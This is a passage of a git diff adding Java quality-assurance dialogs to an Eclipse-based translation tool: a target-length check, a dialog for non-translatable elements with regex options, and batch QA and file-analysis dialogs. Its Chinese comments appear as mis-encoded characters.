= MessageFormat.format(Messages.getString("qa.TgtTextLengthLimitQA.tip1"), + new Object[] { tgtTextLength, maxWidth }); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_TGTTEXTLENGTHLIMIT)); + } + } + + if (isCheckTgtMinLength) { + int minWidth = (int) (srcTextLength - srcTextLength * minPercentage); + minWidth = minWidth >= 0 ? minWidth : 0; + if (tgtTextLength < minWidth) { + String errorTip = MessageFormat.format(Messages.getString("qa.TgtTextLengthLimitQA.tip2"), + new Object[] { tgtTextLength, minWidth }); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_TGTTEXTLENGTHLIMIT)); + } + } + + String result = ""; + if (hasError && tipLevel == 0) { + result = QAConstant.QA_TGTTEXTLENGTHLIMIT; + } + return result; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/dialogs/AddOrEditNontransElementDialog.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/dialogs/AddOrEditNontransElementDialog.java new file mode 100644 index 0000000..7003922 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/dialogs/AddOrEditNontransElementDialog.java @@ -0,0 +1,309 @@ +package net.heartsome.cat.ts.ui.qa.dialogs; + +import net.heartsome.cat.ts.ui.qa.model.NontransElementBean; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 添加或修改éžè¯‘元素的对è¯æ¡† + * @author robert 2013-01-02 + */ +public class AddOrEditNontransElementDialog extends Dialog { + /** 是å¦æ˜¯ä¿®æ”¹æ¨¡å¼ */ + private boolean isAdd; + private TableViewer tableViewer; + private NontransElementBean curElementBean; + + private static final String REGULAR_ignore = "(?i)"; + private static final String REGULAR_allWrod = "\\b"; + + private Text tipTxt; + private Text contentTxt; + private Text regularTxt; + + /** æ•´è¯åŒ¹é… */ + private Button wordBtn; + /** 忽略大å°å†™ */ + private Button ignoreCaseBtn; + + + + public AddOrEditNontransElementDialog(Shell parentShell, boolean isAdd, TableViewer tableViewer, NontransElementBean curElementBean) { + super(parentShell); + this.isAdd = isAdd; + this.tableViewer = tableViewer; + this.curElementBean = curElementBean; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(isAdd ? Messages.getString("qa.preference.NonTranslationQAPage.addModle") + : Messages.getString("qa.preference.NonTranslationQAPage.editModle")); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + Button okBtn = getButton(IDialogConstants.OK_ID); + okBtn.setText(Messages.getString("qa.preference.NonTranslationQAPage.enterBtn")); + + Button cancelBtn = getButton(IDialogConstants.CANCEL_ID); + cancelBtn.setText(Messages.getString("qa.preference.NonTranslationQAPage.cancelBtn")); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().hint(500, 180).grab(true, true).applyTo(tparent); + + Composite composite = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, true).applyTo(composite); + GridLayoutFactory.fillDefaults().numColumns(2).equalWidth(false).applyTo(composite); + + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).equalWidth(false).numColumns(2).applyTo(composite); + + GridData textData = new GridData(GridData.FILL, SWT.CENTER, true, false); + //éžè¯‘元素的å称 + Label tipLbl = new Label(composite, SWT.NONE); + tipLbl.setText(Messages.getString("qa.preference.NonTranslationQAPage.tip")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(tipLbl); + + tipTxt = new Text(composite, SWT.BORDER); + tipTxt.setLayoutData(textData); + + //éžè¯‘元素的éžè¯‘内容 + Label contentLbl = new Label(composite, SWT.NONE); + contentLbl.setText(Messages.getString("qa.preference.NonTranslationQAPage.content")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(contentLbl); + + contentTxt = new Text(composite, SWT.BORDER); + contentTxt.setLayoutData(textData); + + //éžè¯‘å…ƒç´ çš„æ­£åˆ™è¡¨è¾¾å¼ + Label regularLbl = new Label(composite, SWT.NONE); + regularLbl.setText(Messages.getString("qa.preference.NonTranslationQAPage.regular")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(regularLbl); + + regularTxt = new Text(composite, SWT.BORDER); + regularTxt.setLayoutData(textData); + + + // 正则表达å¼è‡ªå®šä¹‰é€‰é¡¹ + new Label(composite, SWT.NONE); + Composite pesonalCmp = new Composite(composite, SWT.NONE); + pesonalCmp.setLayoutData(textData); + GridLayoutFactory.fillDefaults().equalWidth(true).numColumns(2).applyTo(pesonalCmp); + + wordBtn = new Button(pesonalCmp, SWT.CHECK); + wordBtn.setText(Messages.getString("qa.preference.NonTranslationQAPage.addTip1")); + + ignoreCaseBtn = new Button(pesonalCmp, SWT.CHECK); + ignoreCaseBtn.setText(Messages.getString("qa.preference.NonTranslationQAPage.addTip2")); + + new Label(composite, SWT.NONE); + initListener(); + initValue(); + return tparent; + } + + /** + * 一些事件的添加 + */ + public void initListener() { + contentTxt.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent arg0) { + if (!contentTxt.isFocusControl()) { + return; + } + String regular = contentTxt.getText(); + if (regular.length() == 0) { + regularTxt.setText(""); + return; + } + if (ignoreCaseBtn.getSelection()) { + regular = "(?i)" + regular; + } + if (wordBtn.getSelection()) { + regular = "\\b" + regular + "\\b"; + } + regularTxt.setText(regular); + } + }); + + regularTxt.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent arg0) { + if (!regularTxt.isFocusControl()) { + // 如果正则表达å¼æ–‡æœ¬æ®µæ²¡æœ‰ç„¦ç‚¹ï¼Œé‚£ä¹ˆå°±å†³å®š ä¸¤ä¸ªæŒ‰é’®çš„çŠ¶æ€ + String curRegular = regularTxt.getText(); + wordBtn.setSelection(curRegular.contains(REGULAR_allWrod)); + ignoreCaseBtn.setSelection(curRegular.contains(REGULAR_ignore)); + } + } + }); + + ignoreCaseBtn.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent arg0) { + setIgnoreRegular(); + } + public void widgetDefaultSelected(SelectionEvent arg0) { + setIgnoreRegular(); + } + }); + + wordBtn.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent arg0) { + setAllWordRegular(); + } + public void widgetDefaultSelected(SelectionEvent arg0) { + setAllWordRegular(); + } + }); + } + + /** + * 编辑模å¼ä¸‹åˆå§‹åŒ–ç›¸å…³æ•°æ® + */ + private void initValue(){ + if (!isAdd && curElementBean != null) { + tipTxt.setText(curElementBean.getName()); + contentTxt.setText(curElementBean.getContent()); + regularTxt.setText(curElementBean.getRegular()); + } + } + + /** + * 给正则表达å¼è®¾ç½®å¿½ç•¥å¤§å°å†™ + */ + private void setIgnoreRegular(){ + String regular = regularTxt.getText(); + if (regular.length() <= 0) { + return; + } + + if (ignoreCaseBtn.getSelection()) { + if (!regular.contains("(?i)")) { + int index = -1; + if ((index = regular.indexOf("\\b")) != -1) { + regular = regular.substring(0, index + REGULAR_allWrod.length()) + + REGULAR_ignore + regular.substring(index + REGULAR_allWrod.length()); + }else { + String content = contentTxt.getText(); + if (content.length() > 0 && (index = regular.indexOf(content)) != -1) { + regular = regular.substring(0, index) + + REGULAR_ignore + regular.substring(index); + }else if (content.length() > 0 && (index = regular.indexOf(content)) == -1) { + regular = REGULAR_ignore + regular; + } + } + } + }else { + if (regular.contains(REGULAR_ignore)) { + regular = regular.replace(REGULAR_ignore, ""); + } + } + regularTxt.setText(regular); + + } + + /** + * 给正则表达å¼è®¾ç½®æ•´è¯åŒ¹é… + */ + private void setAllWordRegular(){ + String regular = regularTxt.getText(); + if (regular.length() <= 0) { + return; + } + + if (wordBtn.getSelection()) { + // 一个 \\b 都没得 + regular = regular.replace(REGULAR_allWrod, ""); + regular = REGULAR_allWrod + regular + REGULAR_allWrod; + }else { + regular = regular.replace(REGULAR_allWrod, ""); + } + regularTxt.setText(regular); + + } + + + @Override + protected void okPressed() { + String name = tipTxt.getText(); + String content = contentTxt.getText(); + String regular = regularTxt.getText(); + + if ("".equals(name) || name == null) { + MessageDialog.openWarning(getShell(), Messages.getString("qa.all.dialog.warning"), Messages.getString("qa.preference.NonTranslationQAPage.tip2")); + return; + } + + if ("".equals(content) || content == null) { + MessageDialog.openWarning(getShell(), Messages.getString("qa.all.dialog.warning"), Messages.getString("qa.preference.NonTranslationQAPage.tip3")); + return; + } + + // 添加模å¼æ—¶æ‰ä¼šæŒ‡å®š id + if (isAdd) { + String id = "" + System.nanoTime(); + curElementBean.setId(id); + } + curElementBean.setName(name); + curElementBean.setContent(content); + curElementBean.setRegular(regular); + // 如果é‡å¤ï¼Œå°†ä¸æ·»åŠ  + if (validElementIsRepeate(curElementBean)) { + return; + } + super.okPressed(); + } + + + /** + * 验è¯éžè¯‘元素是å¦é‡å¤æ·»åŠ ï¼Œå¦‚果是,则返回 true,如果ä¸æ˜¯ï¼Œåˆ™è¿”回 false + * @param bean + * @return + */ + private boolean validElementIsRepeate(NontransElementBean bean){ + // 判断是å¦æ˜¯é‡å¤æ·»åŠ  + int eleSum = tableViewer.getTable().getItemCount(); + for (int i = 0; i < eleSum; i++) { + if (tableViewer.getElementAt(i) instanceof NontransElementBean) { + NontransElementBean curBean = (NontransElementBean) tableViewer.getElementAt(i); + if (bean.equalsOfEdit(curBean)) { + MessageDialog.openWarning(getShell(), Messages.getString("qa.all.dialog.warning"), + Messages.getString("qa.preference.NonTranslationQAPage.addTip6")); + return true; + } + }else { + continue; + } + } + return false; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/dialogs/BatchQADialog.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/dialogs/BatchQADialog.java new file mode 100644 index 0000000..a5ce1fc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/dialogs/BatchQADialog.java @@ -0,0 +1,234 @@ +package net.heartsome.cat.ts.ui.qa.dialogs; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.util.PreferenceUtil; +import net.heartsome.cat.ts.ui.composite.DialogLogoCmp; +import net.heartsome.cat.ts.ui.dialog.HelpDialog; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.preference.QAPage; +import net.heartsome.cat.ts.ui.qa.resource.ImageConstant; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.ui.PlatformUI; + +/** + * å“质检查显示框 + * @author robert + * @version + * @since JDK1.6 + */ +public class BatchQADialog extends HelpDialog { + /** 进入首选项设置的设置按钮 */ + private Button installBtn; + private TableViewer tableViewer; + private boolean isMultiFile; + + private QAModel model; + + private Image logoImage; + + public BatchQADialog(Shell parentShell, QAModel model, boolean isMultiFile) { + super(parentShell); + this.model = model; + this.isMultiFile = isMultiFile; + logoImage = Activator.getImageDescriptor(ImageConstant.QA_DIALOG_LOGO).createImage(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("qa.all.qa")); + + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + // ROBERTHELP å“质检查 + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s04.html#translation-qa-check", language); + setHelpUrl(helpUrl); + + installBtn = createButton(parent, IDialogConstants.CLIENT_ID, + Messages.getString("qa.dialogs.BatchQADialog.name1"), false); + + super.createButtonsForButtonBar(parent); + Button okBtn = getButton(IDialogConstants.OK_ID); + okBtn.setText(Messages.getString("qa.all.dialog.ok")); + Button cancelBtn = getButton(IDialogConstants.CANCEL_ID); + cancelBtn.setText(Messages.getString("qa.all.dialog.cancel")); + initLister(parent.getShell()); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridData parentData = new GridData(SWT.FILL, SWT.FILL, true, true); + parentData.widthHint = 600; + parentData.heightHint = 300; + tparent.setLayoutData(parentData); + + GridLayoutFactory.fillDefaults().extendedMargins(-1, -1, -1, 8).numColumns(1).applyTo(tparent); + + createLogoArea(tparent); + createFileDataGroup(tparent); + tableViewer.getTable().setFocus(); + + return tparent; + } + + /** + * 显示图片区 + * @param parent + */ + public void createLogoArea(Composite parent) { + new DialogLogoCmp(parent, SWT.NONE, Messages.getString("qa.all.qa.batchQA"), Messages.getString("qa.BatchQADialog.desc"),logoImage); + } + + /** + * @param parent + */ + public void createFileDataGroup(Composite parent) { + Composite parentCmp = new Composite(parent, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(9, 9, 0, 0).numColumns(1).applyTo(parentCmp); + GridDataFactory.fillDefaults().grab(true, true).applyTo(parentCmp); + + tableViewer = new TableViewer(parentCmp, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + + final Table table = tableViewer.getTable(); + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + tableData.heightHint = 50; + + table.setLayoutData(tableData); + table.setLinesVisible(true); + table.setHeaderVisible(true); + + String[] columnNames = new String[] { Messages.getString("qa.all.dialog.index"), + Messages.getString("qa.dialogs.BatchQADialog.name2") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + } + + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.setInput(getQATableInfo()); + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.1, 0.8 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + //如果是åˆå¹¶æ‰“开的文件,那么创建一个 LABLE 进行æ示 + if (isMultiFile) { + Label remarkLbl = new Label(parentCmp, SWT.WRAP); + remarkLbl.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + remarkLbl.setText(Messages.getString("qa.dialogs.BatchQADialog.tip1")); + } + } + + /** + * 获å–tableViewer的填充内容 + * @return + */ + public String[][] getQATableInfo() { + List qaXlfList = model.getQaXlfList(); + ArrayList qaTableInfoList = new ArrayList(); + for (int i = 0; i < qaXlfList.size(); i++) { + String[] tableInfo = new String[] { "" + (i + 1), qaXlfList.get(i).getFullPath().toOSString() }; + qaTableInfoList.add(tableInfo); + } + return qaTableInfoList.toArray(new String[][] {}); + } + + public void initLister(final Shell shell) { + installBtn.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent e) { + openPreference(shell); + } + + public void widgetDefaultSelected(SelectionEvent e) { + // openPreference(shell); + } + }); + } + + /** + * æ‰“å¼€é¦–é€‰é¡¹ç•Œé¢ + * @param shell + */ + public void openPreference(Shell shell) { + PreferenceUtil.openPreferenceDialog(PlatformUI.getWorkbench().getActiveWorkbenchWindow(), QAPage.ID); + } + + /** + * tableViewer的标签æ供器 + * @author robert + */ + class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } + } + + @Override + public boolean close() { + if(logoImage != null && !logoImage.isDisposed()){ + logoImage.dispose(); + } + return super.close(); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/dialogs/FileAnalysisDialog.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/dialogs/FileAnalysisDialog.java new file mode 100644 index 0000000..c328dff --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/dialogs/FileAnalysisDialog.java @@ -0,0 +1,364 @@ +package net.heartsome.cat.ts.ui.qa.dialogs; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.qa.FAModel; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.util.PreferenceUtil; +import net.heartsome.cat.ts.ui.composite.DialogLogoCmp; +import net.heartsome.cat.ts.ui.dialog.HelpDialog; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage; +import net.heartsome.cat.ts.ui.qa.resource.ImageConstant; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.ui.PlatformUI; + +/** + * 文件分æžçš„选择文件的显示框 + * @author robert 2011-12-8 + * @version + * @since JDK1.6 + */ +public class FileAnalysisDialog extends HelpDialog { + + private static final String LOCK_EXTER_101 = "net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog.exter101Btn"; + + private static final String LOCK_EXTER_100 = "net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog.exter100Btn"; + + private static final String LOCK_INTER_REPEAT = "net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog.interRepeatBtn"; + + private Image logoImage = Activator.getImageDescriptor(ImageConstant.QA_DIALOG_LOGO).createImage(); + + /** 进入首选项设置的设置按钮 */ + private Button installBtn; + private TableViewer tableViewer; + private FAModel model; + private String title; + /** 本次文件分æžæ˜¯å¦æ˜¯å­—æ•°åˆ†æž */ + private boolean isWordsFa = false; + private boolean isTransP = false; + private boolean isEditP = false; + /** é”定外部101%åŒ¹é… */ + private Button exter101Btn; + /** é”定外部100%åŒ¹é… */ + private Button exter100Btn; + /** é”内部é‡å¤ */ + private Button interRepeatBtn; + + public FileAnalysisDialog(Shell parentShell, FAModel model, String title, String faItemId) { + super(parentShell); + this.model = model; + this.title = title; + // 如果是字数分æžï¼Œé‚£ä¹ˆå°±å¤šå‡ºä¸‰ä¸ªå¯é€‰æ‹©çš„é”定属性 + if (QAConstant.FA_WORDS_ANALYSIS.equals(faItemId)) { + isWordsFa = true; + }else if (QAConstant.FA_EDITING_PROGRESS_ANALYSIS.equals(faItemId)) { + isEditP = true; + }else if (QAConstant.FA_TRANSLATION_PROGRESS_ANALYSIS.equals(faItemId)) { + isTransP = true; + } + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(title); + } + + @Override + protected boolean isResizable() { + return false; + } + + +// @Override +// protected Control createButtonBar(Composite parent) { +// Composite parentCmp = new Composite(parent, SWT.BORDER); +// GridDataFactory.fillDefaults().grab(true, false).applyTo(parentCmp); +// GridLayoutFactory.swtDefaults().numColumns(2).equalWidth(false).applyTo(parentCmp); +// +// Composite helpCmp = new Composite(parentCmp, SWT.BORDER); +// GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(helpCmp); +// GridLayoutFactory.swtDefaults().numColumns(1).applyTo(helpCmp); +// +// ToolBar toolBar = new ToolBar(helpCmp, SWT.FLAT | SWT.CENTER); +// GridDataFactory.fillDefaults().align(SWT.CENTER, SWT.CENTER).applyTo(toolBar); +// ToolItem toolItem = new ToolItem(toolBar, SWT.NONE); +// toolItem.setImage(getImage(DLG_IMG_HELP)); +// GridDataFactory.fillDefaults().align(SWT.CENTER, SWT.CENTER).applyTo(toolBar); +// toolItem.addSelectionListener(new SelectionAdapter() { +// @Override +// public void widgetSelected(SelectionEvent e) { +// PlatformUI.getWorkbench().getHelpSystem().displayHelpResource("/net.heartsome.cat.ts.ui.help/html/ch01.html#id1170974177259"); +// } +// }); +// +// toolItem.addListener(SWT.Selection, new Listener() { +// +// public void handleEvent(Event event) { +// PlatformUI.getWorkbench().getHelpSystem().displayHelpResource("/net.heartsome.cat.ts.ui.help/html/ch01.html#id1170974177259"); +// } +// }); +// +// +// Composite composite = new Composite(parentCmp, SWT.BORDER); +// // create a layout with spacing and margins appropriate for the font +// // size. +// GridLayout layout = new GridLayout(); +// layout.numColumns = 0; // this is incremented by createButton +// layout.makeColumnsEqualWidth = true; +// layout.marginWidth = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); +// layout.marginHeight = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_MARGIN); +// layout.horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); +// layout.verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); +// composite.setLayout(layout); +// GridData data = new GridData(GridData.HORIZONTAL_ALIGN_END +// | GridData.VERTICAL_ALIGN_CENTER); +// composite.setLayoutData(data); +// composite.setFont(parent.getFont()); +// +// // Add the buttons to the button bar. +// createButtonsForButtonBar(composite); +// return composite; +// } + + + @Override + protected void createButtonsForButtonBar(Composite parent) { + String language = CommonFunction.getSystemLanguage(); + String helpUrl = ""; + if (isWordsFa) { + // ROBERTHELP å­—æ•°åˆ†æž + helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s03.html#word-analysis", language); + setHelpUrl(helpUrl); + }else if (isTransP) { + // ROBERTHELP ç¿»è¯‘è¿›åº¦åˆ†æž + helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s04.html#translation-progress-analysis", language); + setHelpUrl(helpUrl); + }else if (isEditP) { + // ROBERTHELP ç¼–è¾‘è¿›åº¦åˆ†æž + helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s05.html#edit-progress-analysis", language); + setHelpUrl(helpUrl); + } + + if (isWordsFa) { + installBtn = createButton(parent, IDialogConstants.CLIENT_ID, + Messages.getString("qa.dialogs.FileAnalysisDialog.name1"), false); + installBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + openPreference(); + } + }); + } + + super.createButtonsForButtonBar(parent); + + Button okBtn = getButton(IDialogConstants.OK_ID); + okBtn.setText(Messages.getString("qa.all.dialog.ok")); + Button cancelBtn = getButton(IDialogConstants.CANCEL_ID); + cancelBtn.setText(Messages.getString("qa.all.dialog.cancel")); + } + + + + /** + * 打开首选项,åªé’ˆå¯¹å­—æ•°åˆ†æž + */ + public void openPreference() { + PreferenceUtil.openPreferenceDialog(PlatformUI.getWorkbench().getActiveWorkbenchWindow(), FileAnalysisInstalPage.ID); + } + + @Override + protected Control createDialogArea(Composite parent) { + + + Composite tparent = (Composite) super.createDialogArea(parent); + GridData parentData = new GridData(SWT.FILL, SWT.FILL, true, true); + int heigth = isWordsFa ? 350 : 300; + parentData.widthHint = 600; + parentData.heightHint = heigth; + tparent.setLayoutData(parentData); + + GridLayoutFactory.fillDefaults().extendedMargins(-1, -1, -1, 8).numColumns(1).applyTo(tparent); + + createLogoArea(tparent); + createFileDataGroup(tparent); + + return parent; + } + + /** + * 显示图片区 + * @param parent + */ + public void createLogoArea(Composite parent) { + String title = null; + String message = null; + if (isWordsFa) { + // å­—æ•°åˆ†æž + title = Messages.getString("qa.FileAnalysisDialog.WordsFaTitle"); + message = Messages.getString("qa.FileAnalysisDialog.WordsFaMsg"); + }else if (isTransP) { + // ç¿»è¯‘è¿›åº¦åˆ†æž + title = Messages.getString("qa.FileAnalysisDialog.TransPTitle"); + message = Messages.getString("qa.FileAnalysisDialog.TransPMsg"); + }else if (isEditP) { + title = Messages.getString("qa.FileAnalysisDialog.EditPTitle"); + message = Messages.getString("qa.FileAnalysisDialog.EditPMsg"); + } + new DialogLogoCmp(parent, SWT.NONE, title, message, logoImage); + } + + /** + * @param parent + */ + public void createFileDataGroup(Composite parent) { + + Composite parentCmp = new Composite(parent, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(9, 9, 0, 0).numColumns(1).applyTo(parentCmp); + GridDataFactory.fillDefaults().grab(true, true).applyTo(parentCmp); + + tableViewer = new TableViewer(parentCmp, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + + final Table table = tableViewer.getTable(); + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + tableData.heightHint = 50; + + table.setLayoutData(tableData); + table.setLinesVisible(true); + table.setHeaderVisible(true); + + String[] columnNames = new String[] { Messages.getString("qa.all.dialog.index"), + Messages.getString("qa.dialogs.FileAnalysisDialog.xliffFile") }; + + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + } + + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.setInput(getQATableInfo()); + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.1, 0.8 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + // å¦‚æžœæ˜¯å­—æ•°åˆ†æž + if (isWordsFa) { + IDialogSettings dialogSettings = Activator.getDefault().getDialogSettings(); + if (CommonFunction.checkEdition("U")) { + exter101Btn = new Button(parentCmp, SWT.CHECK); + exter101Btn.setText(Messages.getString("qa.dialogs.FileAnalysisDialog.lockExter101")); + exter101Btn.setSelection(dialogSettings.getBoolean(LOCK_EXTER_101)); + } + + exter100Btn = new Button(parentCmp, SWT.CHECK); + exter100Btn.setText(Messages.getString("qa.dialogs.FileAnalysisDialog.lockExter100")); + + interRepeatBtn = new Button(parentCmp, SWT.CHECK); + interRepeatBtn.setText(Messages.getString("qa.dialogs.FileAnalysisDialog.lockInterRepeat")); + + exter100Btn.setSelection(dialogSettings.getBoolean(LOCK_EXTER_100)); + interRepeatBtn.setSelection(dialogSettings.getBoolean(LOCK_INTER_REPEAT)); + } + } + + @Override + protected void okPressed() { + // ä¼ å…¥è¦é”定é‡å¤æ–‡æœ¬æ®µçš„å‚æ•° + if (isWordsFa) { + model.setLockExter101(CommonFunction.checkEdition("U") 